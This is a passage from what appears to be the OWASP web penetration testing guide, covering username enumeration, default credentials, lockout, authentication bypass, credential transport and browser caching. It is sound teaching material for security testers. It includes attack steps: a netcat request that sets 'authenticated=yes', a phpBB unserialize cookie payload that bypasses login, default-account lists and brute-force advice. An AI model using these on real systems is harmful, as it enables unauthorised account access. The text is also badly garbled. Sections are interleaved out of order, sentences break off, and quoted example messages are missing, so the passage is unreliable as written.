(OTG-IDENT-003)

Summary
The provisioning of accounts presents an opportunity for an attacker
to create a valid account without application of the proper identification and authorization process.

Tools

While the most thorough and accurate approach to completing this
test is to conduct it manually, HTTP proxy tools could be also useful.

Testing for Account Enumeration and Guessable
User Account (OTG-IDENT-004)

How to test
Determine which roles are able to provision users and what sort of
accounts they can provision.

Summary
The scope of this test is to verify if it is possible to collect a set
of valid usernames by interacting with the authentication mechanism of the application. This test will be useful for brute force
testing, in which the tester verifies if, given a valid username, it is
possible to find the corresponding password.

• Is there any verification, vetting and authorization of provisioning
requests?

Often, web applications reveal when a username exists on system, either as a consequence of mis-configuration or as a design

Test objectives
Verify which accounts may provision other accounts and of what type.

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decision. For example, sometimes, when we submit wrong credentials, we receive a message that states that either the username is present on the system or the provided password is wrong.
The information obtained can be used by an attacker to gain a list
of users on system. This information can be used to attack the
web application, for example, through a brute force or default username and password attack.
The tester should interact with the authentication mechanism
of the application to understand if sending particular requests
causes the application to answer in different manners. This issue
exists because the information released from web application or
web server when the user provide a valid username is different
than when they use an invalid one.
In some cases, a message is received that reveals if the provided
credentials are wrong because an invalid username or an invalid
password was used. Sometimes, testers can enumerate the existing users by sending a username and an empty password.
How to Test
In black box testing, the tester knows nothing about the specific
page, or password recovery facilities. If the application is vulnerable, the tester receives a response message that reveals, directly
or indirectly, some information useful for enumerating users.
HTTP Response message
Record the server answer when you submit a valid user ID and
Result Expected:
Using WebScarab, notice the information retrieved from this successful authentication (HTTP 200 Response, length of the response).
Testing for valid user with wrong password
Now, the tester should try to insert a valid user ID and a wrong
password and record the error message generated by the application.
Result Expected:
The browser should display a message similar to the following
one:

or something like:

against any message that reveals the existence of user, for instance, message similar to:

Using WebScarab, notice the information retrieved from this unsuccessful authentication attempt (HTTP 200 Response, length of
the response).
Now, the tester should try to insert an invalid user ID and a wrong
password and record the server answer (the tester should be confident that the username is not valid in the application). Record the
error message and the server answer.
Result Expected:
If the tester enters a nonexistent user ID, they can receive a message similar to:

or message like the following one:
Login failed for User foo: invalid Account

Generally the application should respond with the same error
message and length to the different incorrect requests. If the responses are not the same, the tester should investigate and find
out the key that creates a difference between the two responses.
For example:
• Client request: Valid user/wrong password -->
• Client request: Wrong user/wrong password -->
The above responses let the client understand that for the first
request they have a valid user name. So they can interact with the
application requesting a set of possible user IDs and observing the
Looking at the second server response, the tester understand in
the same way that they don’t hold a valid username. So they can
interact in the same manner and create a list of valid user ID looking at the server answers.
Other ways to enumerate users
Testers can enumerate users in several ways, such as:
Some web application release a specific error code or message
that we can analyze.

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- Analyzing URLs and URLs re-directions
For example:
http://www.foo.com/err.jsp?User=gooduser&Error=2
As is seen above, when a tester provides a user ID and password
to the web application, they see a message indication that an error has occurred in the URL. In the first case they have provided a
- URI Probing
Sometimes a web server responds differently if it receives a request for an existing directory or not. For instance in some portals every user is associated with a directory. If testers try to access an existing directory they could receive a web server error.
A very common error that is received from web server is:
403 Forbidden error code
and

Example
http://www.foo.com/account1 - we receive from web server:
403 Forbidden
http://www.foo.com/account2 - we receive from web server:

In the first case the user exists, but the tester cannot view the
web page, in second case instead the user “account2” does not
exist. By collecting this information testers can enumerate the
users.
- Analyzing Web page Titles
Testers can receive useful information on Title of web page,
where they can obtain a specific error code or messages that reveal if the problems are with the username or password.
For instance, if a user cannot authenticate to an application and
receives a web page whose title is similar to:
Invalid user
Invalid authentication
- Analyzing a message received from a recovery facility
When we use a recovery facility (i.e. a forgotten password func-

tion) a vulnerable application might return a message that reveals if a username exists or not.
For example, message similar to the following:

the email address you registered with.
- Friendly 404 Error Message
When we request a user within the directory that does not exist,
“200 ok” with an image, in this case we can assume that when
we receive the specific image the user does not exist. This logic
can be applied to other web server response; the trick is a good
analysis of web server and web application messages.
Guessing Users
In some cases the user IDs are created with specific policies of
administrator or company. For example we can view a user with
a user ID created in sequential order:
CN000100
CN000101
….
Sometimes the usernames are created with a REALM alias and
then a sequential numbers:
R1001 – user 001 for REALM1
R2001 – user 001 for REALM2
In the above sample we can create simple shell scripts that compose user IDs and submit a request with tool like wget to automate a web query to discern valid user IDs. To create a script we
can also use Perl and CURL.
Other possibilities are: - user IDs associated with credit card
numbers, or in general numbers with a pattern. - user IDs associated with real names, e.g. if Freddie Mercury has a user ID of
“fmercury”, then you might guess Roger Taylor to have the user
ID of “rtaylor”.
from an LDAP query or from Google information gathering, for
example, from a specific domain. Google can help to find domain
users through specific queries or through a simple shell script or
tool.
Attention: by enumerating user accounts, you risk locking out
accounts after a predefined number of failed probes (based
banned by dynamic rules on the application firewall or Intrusion
Prevention System.
Gray Box testing
Testing for Authentication error messages
Verify that the application answers in the same manner for ev-

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ery client request that produces a failed authentication. For this
issue the Black Box testing and Gray Box testing have the same
concept based on the analysis of messages or error codes received from web application.
Result Expected:
The application should answer in the same manner for every
failed attempt of authentication.
For Example:
Credentials submitted are not valid

Tools

• WebScarab: OWASP_WebScarab_Project
• CURL: http://curl.haxx.se/
• PERL: http://www.perl.org
• Sun Java Access & Identity Manager users enumeration tool:
References
• Marco Mella, Sun Java Access & Identity Manager Users enumeration: http://www.aboutsecurity.net
Remediation
Ensure the application returns consistent generic error messages in response to invalid account name, password or other user
Ensure default system accounts and test accounts are deleted
prior to releasing the system into production (or exposing it to an
untrusted network).

Testing for Weak or unenforced username policy
(OTG-IDENT-005)

Summary
User account names are often highly structured (e.g. Joe Bloggs
account name is jbloggs and Fred Nurks account name is fnurks)
and valid account names can easily be guessed.
Test objectives
Determine whether a consistent account name structure renders the application vulnerable to account enumeration. Determine whether the application’s error messages permit account
enumeration.

Authentication Testing

Authentication (Greek: αυθεντικός = real or genuine, from ‘authentes’ = author ) is the act of establishing or confirming something (or someone) as authentic, that is, that claims made by or
about the thing are true. Authenticating an object may mean confirming its provenance, whereas authenticating a person often
consists of verifying her identity. Authentication depends upon
one or more authentication factors.
In computer security, authentication is the process of attempting
to verify the digital identity of the sender of a communication. A
common example of such a process is the log on process. Testing
the authentication schema means understanding how the authentication process works and using that information to circumvent the authentication mechanism.

Testing for Credentials Transported over
an Encrypted Channel (OTG-AUTHN-001)

Summary
Testing for credentials transport means verifying that the user’s
authentication data are transferred via an encrypted channel to
avoid being intercepted by malicious users. The analysis focuses
simply on trying to understand if the data travels unencrypted
from the web browser to the server, or if the web application
takes the appropriate security measures using a protocol like
HTTPS. The HTTPS protocol is built on TLS/SSL to encrypt the
data that is transmitted and to ensure that user is being sent
towards the desired site.
Clearly, the fact that traffic is encrypted does not necessarily
mean that it’s completely safe. The security also depends on the
encryption algorithm used and the robustness of the keys that
the application is using, but this particular topic will not be addressed in this section.
For a more detailed discussion on testing the safety of TLS/SSL
channels refer to the chapter Testing for Weak SSL/TLS. Here,
the tester will just try to understand if the data that users put
in to web forms in order to log in to a web site, are transmitted
using secure protocols that protect them from an attacker.

How to test
• Determine the structure of account names.
• Evaluate the application’s response to valid and invalid account
names.
• Use different responses to valid and invalid account names to
enumerate valid account names.
• Use account name dictionaries to enumerate valid account
names.

page of a web application. The tester should verify that user’s
credentials are transmitted via an encrypted channel. In order to
log in to a web site, the user usually has to fill a simple form that
transmits the inserted data to the web application with the POST
method. What is less obvious is that this data can be passed using the HTTP protocol, which transmits the data in a non-secure,
clear text form, or using the HTTPS protocol, which encrypts the
data during the transmission. To further complicate things, there
is the possibility that the site has the login page accessible via
HTTP (making us believe that the transmission is insecure), but
then it actually sends data via HTTPS. This test is done to be sure
that an attacker cannot retrieve sensitive information by simply
sniffing the network with a sniffer tool.

Remediation
Ensure the application returns consistent generic error messages in response to invalid account name, password or other user

How to Test
Black Box testing
In the following examples we will use WebScarab in order to cap-

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ture packet headers and to inspect them. You can use any web
proxy that you prefer.
Example 1: Sending data with POST method through HTTP
Suppose that the login page presents a form with fields User,
Pass, and the Submit button to authenticate and give access
to the application. If we look at the headers of our request with
WebScarab, we can get something like this:
POST http://www.example.com/AuthenticationServlet
HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com/index.jsp
Content-Type: application/x-www-form-urlencoded
Content-length: 64
delegated_service=218&User=test&Pass=test&Submit=SUBMIT
From this example the tester can understand that the POST request sends the data to the page www.example.com/AuthenticationServlet using HTTP. Sothe data is transmitted without
encryption and a malicious user could intercept the username
and password by simply sniffing the network with a tool like
Wireshark.

We can see that the request is addressed to www.example.
com:443/cgi-bin/login.cgi using the HTTPS protocol. This ensures that our credentials are sent using an encrypted channel
and that the credentials are not readable by a malicious user using a sniffer.
Example 3: sending data with POST method via HTTPS on a
page reachable via HTTP
Now, imagine having a web page reachable via HTTP and that
only data sent from the authentication form are transmitted via
HTTPS. This situation occurs, for example, when we are on a portal of a big company that offers various information and services
that are publicly available, without identification, but the site
will look like the following example:
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com/homepage.do
Content-Type: application/x-www-form-urlencoded
Content-length: 45
User=test&Pass=test&portal=ExamplePortal

Example 2: Sending data with POST method through HTTPS
Suppose that our web application uses the HTTPS protocol to
encrypt the data we are sending (or at least for transmitting sensitive data like credentials). In this case, when logging on to the
web application the header of our POST request would be similar
to the following:

We can see that our request is addressed to www.example.
com:443/login.do using HTTPS. But if we have a look at the Referer-header (the page from which we came), it is www.example.
com/homepage.do and is accessible via simple HTTP. Although
we are sending data via HTTPS, this deployment can allow SSLStrip attacks (a type of Man-in-the-middle attack)

Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-length: 50

Example 4: Sending data with GET method through HTTPS
In this last example, suppose that the application transfers data
using the GET method. This method should never be used in a
form that transmits sensitive data such as username and password, because the data is displayed in clear text in the URL and
this causes a whole set of security issues. For example, the URL
that is requested is easily available from the server logs or from
your browser history, which makes your sensitive data retrievable for unauthorized persons. So this example is purely demonstrative, but, in reality, it is strongly suggested to use the POST

GET https://www.example.com/success.html?user=test&pass=test HTTP/1.1
Host: www.example.com

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User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://www.example.com/form.html
If-Modified-Since: Mon, 30 Jun 2008 07:55:11 GMT
If-None-Match: “43a01-5b-4868915f”

You can see that the data is transferred in clear text in the URL
and not in the body of the request as before. But we must consider that SSL/TLS is a level 5 protocol, a lower level than HTTP,
so the whole HTTP packet is still encrypted making the URL
unreadable to a malicious user using a sniffer. Nevertheless as
stated before, it is not a good practice to use the GET method to
send sensitive data to a web application, because the information contained in the URL can be stored in many locations such
as proxy and web server logs.
Gray Box testing
Speak with the developers of the web application and try to
understand if they are aware of the differences between HTTP
and HTTPS protocols and why they should use HTTPS for transmitting sensitive information. Then, check with them if HTTPS
is used in every sensitive request, like those in log in pages, to
prevent unauthorized users to intercept the data.

Tools

• WebScarab
• OWASP Zed Attack Proxy (ZAP)
References
Whitepapers
• HTTP/1.1: Security Considerations - http://www.w3.org/
Protocols/rfc2616/rfc2616-sec15.html
• SSL is not about encryption

Testing for default credentials
(OTG-AUTHN-002)

Summary
Nowadays web applications often make use of popular open
source or commercial software that can be installed on servers
with minimal configuration or customization by the server
administrator. Moreover, a lot of hardware appliances (i.e. network
routers and database servers) offer web-based configuration or
Often these applications, once installed, are not properly configured and the default credentials provided for initial authentication
and configuration are never changed. These default credentials
are well known by penetration testers and, unfortunately, also by
types of applications.

Furthermore, in many situations, when a new account is created
on an application, a default password (with some standard characteristics) is generated. If this password is predictable and the
user does not change it on the first access, this can lead to an attacker gaining unauthorized access to the application.
The root cause of this problem can be identified as:
• Inexperienced IT personnel, who are unaware of the importance
of changing default passwords on installed infrastructure
components, or leave the password as default for “ease of
maintenance”.
• Programmers who leave back doors to easily access and test
their application and later forget to remove them.
• Applications with built-in non-removable default accounts with
• Applications that do not force the user to change the default
How to Test
Testing for default credentials of common applications
In black box testing the tester knows nothing about the application and its underlying infrastructure. In reality this is often not
true, and some information about the application is known. We
suppose that you have identified, through the use of the techniques described in this Testing Guide under the chapter Information Gathering, at least one or more common applications that
When you have identified an application interface, for example
a Cisco router web interface or a Weblogic administrator portal,
check that the known usernames and passwords for these devices do not result in successful authentication. To do this you can
consult the manufacturer’s documentation or, in a much simpler
way, you can find common credentials using a search engine or
by using one of the sites or tools listed in the Reference section.
When facing applications where we do not have a list of default
and common user accounts (for example due to the fact that the
application is not wide spread) we can attempt to guess valid default credentials. Note that the application being tested may have
an account lockout policy enabled, and multiple password guess
attempts with a known username may cause the account to be
locked. If it is possible to lock the administrator account, it may be
troublesome for the system administrator to reset it.
Many applications have verbose error messages that inform the
site users as to the validity of entered usernames. This information will be helpful when testing for default or guessable user accounts. Such functionality can be found, for example, on the log
up page. Once you have found a default username you could also
start guessing passwords for this account.
Testing for User Enumeration and Guessable User Account and in
the section Testing for Weak password policy.
Since these types of default credentials are often bound to administrative accounts you can proceed in this manner:

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“system”, “guest”, “operator”, or “super”.
These are popular among system administrators and are often
used. Additionally you could try “qa”, “test”, “test1”, “testing” and
similar names. Attempt any combination of the above in both the
to username enumeration, and you manage to successfully
or “guest” with the above accounts or any other enumerated
accounts.
Further permutations of the above can also be attempted. If
and password list and attempting multiple requests against the
application. This can, of course, be scripted to save time.
• Application administrative users are often named after the
application or organization.
This means if you are testing an application named “Obscurity”,
try using obscurity/obscurity or any other similar combination as
• When performing a test for a customer, attempt using names
accounts naming convention: if employee John Doe has the email
address jdoe@example.com, you can try to find the names of
by applying the same naming convention to their name.
• Review the page source and JavaScript either through a proxy
or by viewing the source. Look for any references to users and
Also, if you have a valid account, then log in and view every
such as additional hidden parameters, interesting GET request
in the source code. Also look in backup directories for source
code (or backups of source code) that may contain interesting
Testing for default password of new accounts
It can also occur that when a new account is created in an application the account is assigned a default password. This password
could have some standard characteristics making it predictable. If
the user does not change it on first usage (this often happens if
the user is not forced to change it) or if the user has not yet logged
The advice given before about a possible lockout policy and verbose error messages are also applicable here when testing for
The following steps can be applied to test for these types of default credentials:
• Looking at the User Registration page may help to determine the
expected format and minimum or maximum length of the

does not exist, determine if the organization uses a standard
naming convention for user names such as their email address or
the name before the “@” in the email.
• Try to extrapolate from the application how usernames are
generated.
For example, can a user choose his/her own username or does
the system generate an account name for the user based on
some personal information or by using a predictable sequence? If
the application does generate the account names in a predictable
sequence, such as user7811, try fuzzing all possible accounts
recursively.
If you can identify a different response from the application when
using a valid username and a wrong password, then you can try a
brute force attack on the valid username (or quickly try any of the
identified common passwords above or in the reference section).
• Try to determine if the system generated password is predictable.
To do this, create many new accounts quickly after one another
so that you can compare and determine if the passwords
are predictable. If predictable, try to correlate these with the
usernames, or any enumerated accounts, and use them as a
basis for a brute force attack.
• If you have identified the correct naming convention for the user
name, try to “brute force” passwords with some common
predictable sequence like for example dates of birth.
Gray Box testing
The following steps rely on an entirely Gray Box approach. If only
some of this information is available to you, refer to black box
testing to fill the gaps.
• Talk to the IT personnel to determine which passwords they
application is undertaken.
• Ask IT personnel if default passwords are changed and if default
user accounts are disabled.
• Examine the user database for default credentials as described
in the Black Box testing section. Also check for empty password
fields.
• Check for configuration files that contain usernames
• Examine the password policy and, if the application generates its
own passwords for new users, check the policy in use for this
procedure.

Tools

• Burp Intruder: http://portswigger.net/burp/intruder.html
• THC Hydra: http://www.thc.org/thc-hydra/
• Brutus: http://www.hoobie.net/brutus/
• Nikto 2: http://www.cirt.net/nikto2
References
Whitepapers
Networked Devices http://www.governmentsecurity.org/

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Testing for Weak lock out mechanism
(OTG-AUTHN-003)

Summary
Account lockout mechanisms are used to mitigate brute force
password guessing attacks. Accounts are typically locked after 3
to 5 unsuccessful login attempts and can only be unlocked after a
predetermined period of time, via a self-service unlock mechanism,
or intervention by an administrator. Account lockout mechanisms
require a balance between protecting accounts from unauthorized
access and protecting users from being denied authorized access.
Note that this test should cover all aspects of authentication
where lockout mechanisms would be appropriate, e.g. when
the user is presented with security questions during forgotten
password mechanisms (see Testing for Weak security question/
Without a strong lockout mechanism, the application may be
susceptible to brute force attacks. After a successful brute force
• Confidential information or data: Private sections of a web
application could disclose confidential documents, users’ profile
data, financial information, bank details, users’ relationships, etc.
• Administration panels: These sections are used by webmasters
to manage (modify, delete, add) web application content, manage
user provisioning, assign different privileges to the users, etc.
• Opportunities for further attacks: authenticated sections of a
web application could contain vulnerabilities that are not present
in the public section of the web application and could contain
advanced functionality that is not available to public users.
Test objectives
• Evaluate the account lockout mechanism’s ability to mitigate
• Evaluate the unlock mechanism’s resistance to unauthorized
account unlocking.
How to Test
Typically, to test the strength of lockout mechanisms, you will
need access to an account that you are willing or can afford to lock.
If you have only one account with which you can log on to the web
application, perform this test at the end of you test plan to avoid
that you cannot continue your testing due to a locked account.
To evaluate the account lockout mechanism’s ability to mitigate
the incorrect password a number of times, before using the correct
password to verify that the account was locked out. An example
test may be as follows:
that the lockout mechanism doesn’t trigger after 3 incorrect
authentication attempts.
that the lockout mechanism doesn’t trigger after 4 incorrect
authentication attempts.

returns “Your account is locked out.”, thereby confirming that the
account is locked out after 5 incorrect authentication attempts.
The application returns “Your account is locked out.”, thereby
showing that the lockout mechanism does not automatically unlock after 5 minutes.
showing that the lockout mechanism does not automatically unlock after 10 minutes.
thereby showing that the lockout mechanism automatically unlocks after a 10 to 15 minute period.
A CAPTCHA may hinder brute force attacks, but they can come
with their own set of weaknesses (see Testing for CAPTCHA), and
should not replace a lockout mechanism.
To evaluate the unlock mechanism’s resistance to unauthorized
account unlocking, initiate the unlock mechanism and look for
weaknesses.
Typical unlock mechanisms may involve secret questions or an
link, to stop an attacker from guessing or replaying the link and
performing brute force attacks in batches. Secret questions and
Note that an unlock mechanism should only be used for unlocking
accounts. It is not the same as a password recovery mechanism.
Factors to consider when implementing an account lockout mechanism:
[1] What is the risk of brute force password guessing against the
application?
[2] Is a CAPTCHA sufficient to mitigate this risk?
lockout threshold is to low then valid users may be locked out too
often. If the lockout threshold is to high then the more attempts
an attacker can make to brute force the account before it will be
locked. Depending on the application’s purpose, a range of 5 to 10
unsuccessful attempts is typical lockout threshold.
[4] How will accounts be unlocked?
• Manually by an administrator: this is the most secure lockout
method, but may cause inconvenience to users and take up the
- Note that the administrator should also have a recovery method
in case his account gets locked.
- This unlock mechanism may lead to a denial-of-service attack
if an attacker’s goal is to lock the accounts of all users of the web
application.
• After a period of time: What is the lockout duration?
Is this sufficient for the application being protected? E.g. a 5 to
30 minute lockout duration may be a good compromise between
mitigating brute force attacks and inconveniencing valid users.
• Via a self-service mechanism: As stated before, this self-service
mechanism must be secure enough to avoid that the attacker can
unlock accounts himself.

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References
See the OWASP article on Brute Force Attacks.
Remediation
Apply account unlock mechanisms depending on the risk level. In
order from lowest to highest assurance:

that page may not check the credentials of the user before granting access. Attempt to directly access a protected page through

[1] Time-based lockout and unlock.
[2] Self-service unlock (sends unlock email to registered email address).
[4] Manual administrator unlock with positive user identification.

Testing for Bypassing Authentication Schema
(OTG-AUTHN-004)

Summary
private information or to execute tasks, not every authentication
method is able to provide adequate security. Negligence, ignorance, or simple understatement of security threats often result
in authentication schemes that can be bypassed by simply skipping the log in page and directly calling an internal page that is
supposed to be accessed only after authentication has been performed.
In addition, it is often possible to bypass authentication measures by tampering with requests and tricking the application into
thinking that the user is already authenticated. This can be accomplished either by modifying the given URL parameter, by manipulating the form, or by counterfeiting sessions.
Problems related to the authentication schema can be found at
different stages of the software development life cycle (SDLC), like
the design, development, and deployment phases:
• In the design phase errors can include a wrong definition of
application sections to be protected, the choice of not applying
strong encryption protocols for securing the transmission of
credentials, and many more.
• In the development phase errors can include the incorrect
implementation of input validation functionality or not following
the security best practices for the specific language.
• In the application deployment phase, there may be issues during
the application setup (installation and configuration activities)
due to a lack in required technical skills or due to the lack of good
documentation.
How to Test
Black Box testing
There are several methods of bypassing the authentication schema that is used by a web application:
• Direct page request (forced browsing)
• Parameter modification
• Session ID prediction
• SQL injection
Direct page request
If a web application implements access control only on the log in
page, the authentication schema could be bypassed. For example, if a user directly requests a different page via forced browsing,

Parameter Modification
Another problem related to authentication design is when the application verifies a successful log in on the basis of a fixed value
parameters. A user could modify these parameters to gain access
to the protected areas without providing valid credentials. In the
example below, the “authenticated” parameter is changed to a
value of “yes”, which allows the user to gain access. In this example, the parameter is in the URL, but a proxy could also be used to
modify the parameter, especially when the parameters are sent
as form elements in a POST request or when the parameters are
http://www.site.com/page.asp?authenticated=no

raven@blackbox /home $nc www.site.com 80 GET /page.asp?authenticated=yes HTTP/1.0 HTTP/1.1 200 OK Date: Sat, 11 Nov 2006 10:22:44 GMT Server: Apache Connection: close Content-Type: text/html; charset=iso-8859-1 You Are Authenticated 72 Web Application Penetration Testing Session ID Prediction Many web applications manage authentication by using session identifiers (session IDs). Therefore, if session ID generation is predictable, a malicious user could be able to find a valid session ID and gain unauthorized access to the application, impersonating a previously authenticated user. The following figure shows that with a simple SQL injection attack, it is sometimes possible to bypass the authentication form. In the following figure, values inside cookies increase linearly, so it could be easy for an attacker to guess a valid session ID. n the following figure, values inside cookies change only partially, so it’s possible to restrict a brute force attack to the defined fields shown below. SQL Injection (HTML Form Authentication) SQL Injection is a widely known attack technique. This section is not going to describe this technique in detail as there are several sections in this guide that explain injection techniques beyond the scope of this section. Gray Box Testing If an attacker has been able to retrieve the application source code by exploiting a previously discovered vulnerability (e.g., directory traversal), or from a web repository (Open Source Applications), it could be possible to perform refined attacks against the implementation of the authentication process. In the following example (PHPBB 2.0.13 - Authentication Bypass Vulnerability), at line 5 the unserialize() function parses a user supplied cookie and sets values inside the$row array. At line
10 the user’s MD5 password hash stored inside the back end
database is compared to the one supplied.
In PHP, a comparison between a string value and a boolean value
1. if ( isset($HTTP_COOKIE_VARS[$cookiename . ‘_sid’]) ||
2. {
3. $sessiondata = isset($HTTP_COOKIE_VARS[$cookiename . ‘_data’] ) ? 4. 5. unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . ‘_data’])) : array(); 6. 7.$sessionmethod = SESSION_METHOD_COOKIE;
8. }
9.
10. if( md5($password) ==$row[‘user_password’] &&
$row[‘user_active’] ) 11. 12. { 13.$autologin = ( isset($HTTP_POST_VARS[‘autologin’]) ) ? TRUE : 0; 14. } (1 - “TRUE”) is always “TRUE”, so by supplying the following string (the important part is “b:1”) to the unserialize() function, it is possible to bypass the authentication control: a:2:{s:11:”autologinid”;b:1;s:6:”userid”;s:1:”2”;} 73 Web Application Penetration Testing Tools • WebScarab • WebGoat • OWASP Zed Attack Proxy (ZAP) References Whitepapers • Mark Roxberry: “PHPBB 2.0.13 vulnerability” • David Endler: “Session ID Brute Force Exploitation and Prediction” - http://www.cgisecurity.com/lib/SessionIDs.pdf Testing for Vulnerable Remember Password (OTG-AUTHN-005) Summary Browsers will sometimes ask a user if they wish to remember the password that they just entered. The browser will then store the password, and automatically enter it whenever the same authentication form is visited. This is a convenience for the user. Additionally some websites will offer custom “remember me” functionality to allow users to persist log ins on a specific client system. Having the browser store passwords is not only a convenience for end-users, but also for an attacker. If an attacker can gain access to the victim’s browser (e.g. through a Cross Site Scripting attack, or through a shared computer), then they can retrieve the stored passwords. It is not uncommon for browsers to store these passwords in an easily retrievable manner, but even if the browser were to store the passwords encrypted and only retrievable through the use of a master password, an attacker could retrieve the password by visiting the target web application’s authentication form, entering the victim’s username, and letting the browser to enter the password. Additionally where custom “remember me” functions are put in place weaknesses in how the token is stored on the client PC (for example using base64 encoded credentials as the token) could expose the users passwords. Since early 2014 most major browsers will override any use of autocomplete=”off” with regards to password forms and as a result previous checks for this are not required and recommendations should not commonly be given for disabling this feature. However this can still apply to things like secondary secrets which may be stored in the browser inadvertently. How to Test • Look for passwords being stored in a cookie. Examine the cookies stored by the application. Verify that the credentials are not stored in clear text, but are hashed. • Examine the hashing mechanism: if it is a common, well-known algorithm, check for its strength; in homegrown hash functions, attempt several usernames to check whether the hash function is easily guessable. • Verify that the credentials are only sent during the log in phase, and not sent together with every request to the application. • Consider other sensitive form fields (e.g. an answer to a secret question that must be entered in a password recovery or account unlock form). Remediation Ensure that no credentials are stored in clear text or are easily retrievable in encoded or encrypted forms in cookies. Testing for Browser cache weakness (OTG-AUTHN-006) Summary In this phase the tester checks that the application correctly instructs the browser to not remember sensitive data. Browsers can store information for purposes of caching and history. Caching is used to improve performance, so that previously displayed information doesn’t need to be downloaded again. History mechanisms are used for user convenience, so the user can see exactly what they saw at the time when the resource was retrieved. If sensitive information is displayed to the user (such as their address, credit card details, Social Security Number, or username), then this information could be stored for purposes of caching or history, and therefore retrievable through examining the browser’s cache or by simply pressing the browser’s “Back” button. How to Test Browser History Technically, the “Back” button is a history and not a cache (see http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13.13). The cache and the history are two different entities. However, they share the same weakness of presenting previously displayed sensitive information. The first and simplest test consists of entering sensitive information into the application and logging out. Then the tester clicks the “Back” button of the browser to check whether previously displayed sensitive information can be accessed whilst unauthenticated. If by pressing the “Back” button the tester can access previous pages but not access new ones, then it is not an authentication issue, but a browser history issue. If these pages contain sensitive data, it means that the application did not forbid the browser from storing it. Authentication does not necessarily need to be involved in the testing. For example, when a user enters their email address in order to sign up to a newsletter, this information could be retrievable if not properly handled. The “Back” button can be stopped from showing sensitive data. This can be done by: • Delivering the page over HTTPS. • Setting Cache-Control: must-re-validate Browser Cache Here testers check that the application does not leak any sensitive data into the browser cache. In order to do that, they can use a proxy (such as WebScarab) and search through the server responses that belong to the session, checking that for every page that contains sensitive information the server instructed the browser not to cache any data. Such a directive can be issued in the HTTP response headers: 74 Web Application Penetration Testing • Cache-Control: no-cache, no-store • Expires: 0 • Pragma: no-cache These directives are generally robust, although additional flags may be necessary for the Cache-Control header in order to better prevent persistently linked files on the filesystem. These include: • Cache-Control: must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0 Testing for Weak password policy (OTG-AUTHN-007) Summary The most prevalent and most easily administered authentication mechanism is a static password. The password represents the keys to the kingdom, but is often subverted by users in the name of usability. In each of the recent high profile hacks that have revealed user credentials, it is lamented that most common passwords are still: 123456, password and qwerty. HTTP/1.1: Cache-Control: no-cache Test objectives Determine the resistance of the application against brute force password guessing using available password dictionaries by evaluating the length, complexity, reuse and aging requirements of passwords. HTTP/1.0: Pragma: no-cache Expires: How to Test [1] What characters are permitted and forbidden for use within a password? Is the user required to use characters from different character sets such as lower and uppercase letters, digits and special symbols? [2] How often can a user change their password? How quickly can a user change their password after a previous change? Users may bypass password history requirements by changing their password 5 times in a row so that after the last password change they have configured their initial password again. [3] When must a user change their password? After 90 days? After account lockout due to excessive log on attempts? [4] How often can a user reuse a password? Does the application maintain a history of the user’s previous used 8 passwords? [5] How different must the next password be from the last password? [6] Is the user prevented from using his username or other account information (such as first or last name) in the password? For instance, if testers are testing an e-commerce application, they should look for all pages that contain a credit card number or some other financial information, and check that all those pages enforce the no-cache directive. If they find pages that contain critical information but that fail to instruct the browser not to cache their content, they know that sensitive information will be stored on the disk, and they can double-check this simply by looking for the page in the browser cache. The exact location where that information is stored depends on the client operating system and on the browser that has been used. Here are some examples: [1] Mozilla Firefox: • Unix/Linux: ~/.mozilla/firefox//Cache/ • Windows: C:\Documents and Settings\\Local Settings\Application Data\Mozilla\Firefox\Profiles\\ Cache [2] Internet Explorer: • C:\Documents and Settings\\Local Settings\ Temporary Internet Files Gray Box testing The methodology for testing is equivalent to the black box case, as in both scenarios testers have full access to the server response headers and to the HTML code. However, with gray box testing, the tester may have access to account credentials that will allow them to test sensitive pages that are accessible only to authenticated users. Tools • OWASP Zed Attack Proxy • Firefox add-on CacheViewer2 References Whitepapers • Caching in HTTP References • Brute Force Attacks • Password length & complexity Remediation To mitigate the risk of easily guessed passwords facilitating unauthorized access there are two solutions: introduce additional authentication controls (i.e. two-factor authentication) or introduce a strong password policy. The simplest and cheapest of these is the introduction of a strong password policy that ensures password length, complexity, reuse and aging. Testing for Weak security question/answer (OTG-AUTHN-008) Summary Often called “secret” questions and answers, security questions and answers are often used to recover forgotten passwords (see Testing for weak password change or reset functionalities (OTG-AUTHN-009)), or as extra security on top of the password. They are typically generated upon account creation and require the user to select from some pre-generated questions and supply an appropriate answer. They may allow the user to generate their own question and answer pairs. Both methods are prone to insecurities.Ideally, security questions should generate answers that are only known by the user, and not guessable or discoverable by 75 Web Application Penetration Testing anybody else. This is harder than it sounds. supplied security answers trigger a lockout mechanism. Security questions and answers rely on the secrecy of the answer. Questions and answers should be chosen so that the answers are only known by the account holder. However, although a lot of answers may not be publicly known, most of the questions that websites implement promote answers that are pseudo-private. The first thing to take into consideration when 